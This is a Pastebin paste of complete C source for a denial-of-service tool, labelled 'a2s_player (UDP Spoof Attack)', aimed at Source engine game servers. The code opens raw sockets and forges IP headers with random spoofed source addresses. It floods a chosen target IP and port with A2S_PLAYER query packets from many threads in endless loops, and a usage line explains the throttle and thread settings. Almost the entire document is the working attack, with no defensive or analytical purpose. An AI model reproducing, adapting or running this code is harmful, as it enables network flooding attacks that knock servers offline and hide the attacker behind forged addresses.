therepower

[C] Source Player Query Spam (a2s_player spam)

Sep 6th, 2015
1,018
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.69 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10.  
  11.  
  12. #define MAX_PACKET_SIZE 4096
  13. #define PHI 0x9e3779b9
  14. char sourceip[17];
  15.  
  16. static uint32_t Q[4096], c = 362436;
  17.  
  18.  
  19. struct thread_data{
  20. int throttle;
  21. int thread_id;
  22. unsigned int floodport;
  23. struct sockaddr_in sin;
  24. };
  25.  
  26.  
  27. void init_rand(uint32_t x)
  28. {
  29. int i;
  30. Q[0] = x;
  31. Q[1] = x + PHI;
  32. Q[2] = x + PHI + PHI;
  33.  
  34. for (i = 3; i < 4096; i++)
  35. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  36. }
  37.  
  38.  
  39. uint32_t rand_cmwc(void)
  40. {
  41. uint64_t t, a = 18782LL;
  42. static uint32_t i = 4095;
  43. uint32_t x, r = 0xfffffffe;
  44. i = (i + 1) & 4095;
  45. t = a * Q[i] + c;
  46. c = (t >> 32);
  47. x = t + c;
  48. if (x < c) {
  49. x++;
  50. c++;
  51. }
  52. return (Q[i] = r - x);
  53. }
  54.  
  55.  
  56. char *myStrCat (char *s, char *a) {
  57. while (*s != '\0') s++;
  58. while (*a != '\0') *s++ = *a++;
  59. *s = '\0';
  60. return s;
  61. }
  62.  
  63.  
  64. char *replStr (char *str, size_t count) {
  65. if (count == 0) return NULL;
  66. char *ret = malloc (strlen (str) * count + count);
  67. if (ret == NULL) return NULL;
  68. *ret = '\0';
  69. char *tmp = myStrCat (ret, str);
  70. while (--count > 0) {
  71. tmp = myStrCat (tmp, str);
  72. }
  73. return ret;
  74. }
  75.  
  76. /* Create header checksum*/
  77. unsigned short csum (unsigned short *buf, int nwords)
  78. {
  79. unsigned long sum;
  80. for (sum = 0; nwords > 0; nwords--)
  81. sum += *buf++;
  82. sum = (sum >> 16) + (sum & 0xffff);
  83. sum += (sum >> 16);
  84. return (unsigned short)(~sum);
  85. }
  86. void setup_ip_header(struct iphdr *iph)
  87. {
  88. iph->ihl = 5;
  89. iph->version = 4;
  90. iph->tos = 0;
  91. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 9;
  92. iph->id = htonl(54321);
  93. iph->frag_off = 0;
  94. iph->ttl = MAXTTL;
  95. iph->protocol = IPPROTO_UDP;
  96. iph->check = 0;
  97. /* Base Address to start */
  98. snprintf(sourceip, sizeof(sourceip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  99. iph->saddr = inet_addr(sourceip); // Holy fuck this is terrible
  100. }
  101.  
  102.  
  103. void setup_udp_header(struct udphdr *udph)
  104. {
  105. udph->source = htons(27005);
  106. udph->check = 0;
  107. char *data = (char *)udph + sizeof(struct udphdr);
  108. memcpy((void *)udph + sizeof(struct udphdr), "\xFF\xFF\xFF\xFF\x55\x4B\xA1\xD5\x22", 9);
  109. udph->len=htons(sizeof(struct udphdr) + 9);
  110. }
  111.  
  112.  
  113. void *flood(void *par1)
  114. {
  115. struct thread_data *td = (struct thread_data *)par1;
  116. fprintf(stdout, "Thread %d started\n", td->thread_id);
  117. char datagram[MAX_PACKET_SIZE];
  118. struct iphdr *iph = (struct iphdr *)datagram;
  119. struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  120. struct sockaddr_in sin = td->sin;
  121. char new_ip[sizeof "255.255.255.255"];
  122.  
  123. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  124. if(s < 0){
  125. fprintf(stderr, "Could not open raw socket.\n");
  126. exit(-1);
  127. }
  128. unsigned int floodport = td->floodport;
  129. /* Reset data */
  130. memset(datagram, 0, MAX_PACKET_SIZE);
  131. /* Set appropriate fields in headers */
  132. setup_ip_header(iph);
  133. setup_udp_header(udph);
  134. udph->dest = htons(floodport);
  135. iph->daddr = sin.sin_addr.s_addr;
  136. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  137. int tmp = 1;
  138. const int *val = &tmp;
  139. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  140. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  141. exit(-1);
  142. }
  143. int throttle = td->throttle;
  144. uint32_t random_num;
  145. uint32_t ul_dst;
  146. init_rand(time(NULL));
  147. if(throttle == 0){
  148. while(1){
  149. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  150. random_num = rand_cmwc();
  151.  
  152. ul_dst = (random_num >> 24 & 0xFF) << 24 |
  153. (random_num >> 16 & 0xFF) << 16 |
  154. (random_num >> 8 & 0xFF) << 8 |
  155. (random_num & 0xFF);
  156. iph->saddr = ul_dst;
  157. udph->source = htons(random_num & 0xFFFF);
  158. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  159. }
  160. } else {
  161. while(1){
  162. throttle = td->throttle;
  163. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  164. random_num = rand_cmwc();
  165. ul_dst = (random_num >> 24 & 0xFF) << 24 |
  166. (random_num >> 16 & 0xFF) << 16 |
  167. (random_num >> 8 & 0xFF) << 8 |
  168. (random_num & 0xFF);
  169. iph->saddr = ul_dst;
  170. udph->source = htons(random_num & 0xFFFF);
  171. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  172. while(--throttle);
  173. }
  174. }
  175. }
  176.  
  177.  
  178. int main(int argc, char *argv[ ])
  179. {
  180. if(argc < 5){
  181. fprintf(stderr, "Invalid parameters!\n");
  182. fprintf(stdout, "a2s_player (UDP Spoof Attack) \nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <number threads to use> <time (optional)>\n", argv[0]);
  183. exit(-1);
  184. }
  185. fprintf(stdout, "Setting up Sockets...\n");
  186. int num_threads = atoi(argv[4]);
  187. unsigned int floodport = atoi(argv[2]);
  188. pthread_t thread[num_threads];
  189. struct sockaddr_in sin;
  190. sin.sin_family = AF_INET;
  191. sin.sin_port = htons(floodport);
  192. sin.sin_addr.s_addr = inet_addr(argv[1]);
  193. struct thread_data td[num_threads];
  194. int i;
  195. for(i = 0;i<num_threads;i++){
  196. td[i].thread_id = i;
  197. td[i].sin = sin;
  198. td[i].floodport = floodport;
  199. td[i].throttle = atoi(argv[3]);
  200. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  201. }
  202. fprintf(stdout, "Starting Flood...\n");
  203. if(argc > 5)
  204. {
  205. sleep(atoi(argv[5]));
  206. } else {
  207. while(1){
  208. sleep(1);
  209. }
  210. }
  211.  
  212. return 0;
  213. }
Advertisement
Add Comment
Please, Sign In to add comment